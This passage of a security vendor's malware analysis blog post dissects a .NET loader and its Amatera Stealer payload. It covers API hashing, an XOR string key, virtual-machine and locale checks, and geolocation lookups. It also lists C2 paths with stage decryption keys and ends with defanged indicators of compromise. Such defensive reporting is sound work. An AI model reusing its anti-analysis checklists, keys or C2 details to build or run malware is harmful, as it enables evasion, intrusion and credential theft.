 Standard .NET Base Class Library (BCL) calls, including for registry and network operations Win32 P/Invoke calls, including GetCurrentThread , NtQueryInformationThread , NtQueryInformationProcess , and NtCurrentTeb Win32 APIs resolved through API hashing and a Process Environment Block (PEB) export table walk The function MenuItemService . ProcessDirectory ( 0x06000151 ) is the main method responsible for delegate caching and Win32 API resolution:   It checks if the delegate is already resolved using managerMap.TryGetValue()  If not, it calls ProcessDirectory (0x06000150) to obtain the HMODULE handle It calls ProcessDirectory (0x0600003A) that performs the PE export table walk and matches the hash. We detected that the same hashing output is obtained in several other methods (e.g., 0x06000039 , 0x0600003B , 0x0600004E ) It obtains the delegate with GetDelegateForFunctionPointer() and saves it in the dictionary Results of the API hashing script . Click to enlarge   We used the same reflection approach to get the strings.  Many strings are encrypted with the XOR key 4B729A1F5CE387D6 .  Part of decrypted strings. Click to enlarge   The loader obtains the system’s LCID using GetKeyboardLayoutList() and compares it against more than 17 languages, including Russian, Ukrainian, Belarusian, and Armenian. It also performs extensive system reconnaissance, including enumerating registry keys and calling Win32 APIs such as GetSystemFirmwareTable() and EnumSystemFirmwareTables() to identify virtualized environments. Category   Value   PCI vendor / device IDs   VEN_80EE , VEN_15AD , VEN_1AB8 , VEN_5853 , VEN_1AF4 , VEN_1234&DEV_111 , … SMBIOS/ACPI OEM IDs   VMWARE , VBOX , BOCHS , VRTUAL , MSFTVM , MSHYPR , Xen , Parall , BHYVE , AMAZON , Google ACPI table signatures   VBOX , BXPC , VMW , Xen , PRLS , AMZN , MICR BIOS/manufacturer/product strings   vmware , vmw , innotek , virtualbox , vbox , qemu , seabios , bochs , standard pc , kvm virtual machine , xen , hvm domu , parallels Strings associated with anti-analysis checks Part of the registry key enumeration . Click to enlarge We also observed decrypted references to APIs including GetCurrentProcess() , CreateToolhelp32Snapshot() , Process32First() , Process32Next() , and OpenMutex() , although we did not observe these functions being called during our execution flow. An HTTP request is also made to one of these services:  https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json It also checks the returned data against 96 hosting or infrastructure providers and tests whether the region code is one of: RU , UA , BY , AM , KZ , KG , TJ , UZ , GE , AZ , or MD . Decrypted strings associated with providers . Click to enlarge If the anti-analysis checks pass, the next two stages are downloaded and decrypted using XOR keys. We patched SelectionScope.ProcessDirectory ( 0x06000014 ) to recover the C2 paths and XOR keys for those stages: /assets/MailersKogasin.json|WjcsVTKmuoBRqe|/assets/LanoseThrip.json|WwUX66Br GollopDevest: PE Loader DLL and Amatera Stealer The third DLL has the same name as the second, GollopDevest , but performs PE loading. Among its decrypted strings are: 'GollopMailers LDR DllBase VeneryCondole EdiyaFoully=0x{0:X} EdiyaStelae=0x{1:X}' 'GollopMailers LDR Flags missing IMAGE_DLL 0x{0:X8}' 'GollopMailers LDR SaranPisco invalid 0x{0:X}' 'GollopMailers LDR TlsIndex invalid {0}' 'GollopMailers LDR sanity exception: ' 'HIGHLOW relocation' 'Import DLL name' 'Import FunctusAurata' 'Import INT' 'Import descriptor' 'Import hint/name' 'Import thunk' 'LdrpHandleTlsData outside ntdll .text' 'LdrpReleaseTlsEntry outside ntdll .text' 'LoadConfig32' 'OK' 'PE headers' 'Required API resolve failed: type={0}, FreshBubals={1}, module=0x{2:X}' 'TLS32' 'TLS64' 'x86 disabled until ABI proof' ntdll.dll kernel32.dll LdrpInitializeTls "STATUS_SUCCESS" UNKNOWN(0x00000001) UNKNOWN(0x00000002) UNKNOWN(0x00000003) The ServerEditor.SortMemory method ( 0x06000014 ) checks the PE structure and flags before loading the payload. To confirm this behavior, we invoked the method through reflection using the downloaded WPA.exe file as input. The PE loaded successfully. The C++-compiled PE disguises itself as WPA.exe (Windows Performance Analyzer). We identified the payload as an obfuscated version of Amatera Stealer 4.2.3-alpha1 . It uses control-flow flattening, API hashing, anti-debugging checks, and opaque predicates to complicate analysis. We also detected use of the Heaven’s Gate technique, DNS-over-HTTPS (DoH) resolution through Google DNS, and raw sockets using \Device\Afd\Endpoint for network communication.  Part of the decrypted strings associated with Amatera . Click to enlarge After this stage executes, we also observed additional payloads being downloaded and run from C2 IP addresses. In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected HijackLoader. This gives the campaign operators the ability to deploy multiple payloads on a compromised machine. IOCs  SHA-256 hashes bdf313a019e025ebf58ccef4619444ee70e661bd444e0644ebeabd8f5caad14c  e3830f5747e3f46537d217124d80c9f3bb4d89f8d4f5138dce69ee54ea4fb6b9  a4f03272cf96732dc9f58bb466d16f358e7f50d46dba30526a9fbebfec11717b  bf04160dd1ce3571e0eb6d6dda1713c788797b5599399d4a93665a757eec376e  54fa8083c05334aa360256fbbb0ca901ce7e244a0359dd664cae78977371ec91  c1ea6d169565c70ac5d812e73483814929e9b3548ead6633595937e71a334adb  001337488c32d8610c2aef6f9330acca825f0afacd071bf6ebfc06b5a1a69f09  2837099af431e9afee76ce5e6ab5cb86bedce06e31c22be46250cb453cfdb978  252c5a3d150275013f52b4820097d7163ced4aa2f1be0fca032f8a5017673816  0c9c64b7383ec249bcf6271a4b73206d94de130ca401d16ab77fe01e5193a312  6700f62e1a3b33340cd678c388ecc8bac2e5943c0627df5d1b99b879c3ca42c9  IP addresses   93.152.224[.]75 : downloads PavinLoader  65.21.80[.]170 : downloads PavinLoader  195.63.142[.]49 : downloads PavinLoader  Domains   perfectverified[.]com : ClickFix  PavinLoader C2   catalyst-pro[.]lat  twigoamwu[.]cfd  trusaifi[.]cfd  stellar-minds[.]cfd  pinnacle-labs[.]lat  nexahub[.]lat  fimwoglea[.]shop  velodium[.]lat  rpcsecnoweb[.]pro  more-arpc[.]icu  echo-systems[.]cfd  kelemet[.]shop  zarwieciv[.]cfd  URLs   telegra[.]ph/Project-PySynth-06-28 : Amatera dead drop  Acknowledgements   Previous analysis of the loader: https://www.derp.ca/research/hellsuchecker-clickfix-etherhiding/#26-anti-sandbox-checks-and-a-nintendo-bypass (possible AI-generated content)  Possible related activity: https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/   Possible related activity: https://medium.com/@djordje.brankovic/from-fake-captcha-to-in-memory-execution-unraveling-a-multi-stage-malware-chain-part-1-496c603f3641   Analysis of a forum user: https://forums.malwarebytes.com/topic/338102-solution-of-gollopdevestdll-renpy-loader-malware-from-malwarebytes-blog/   From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by  downloading Malwarebytes today .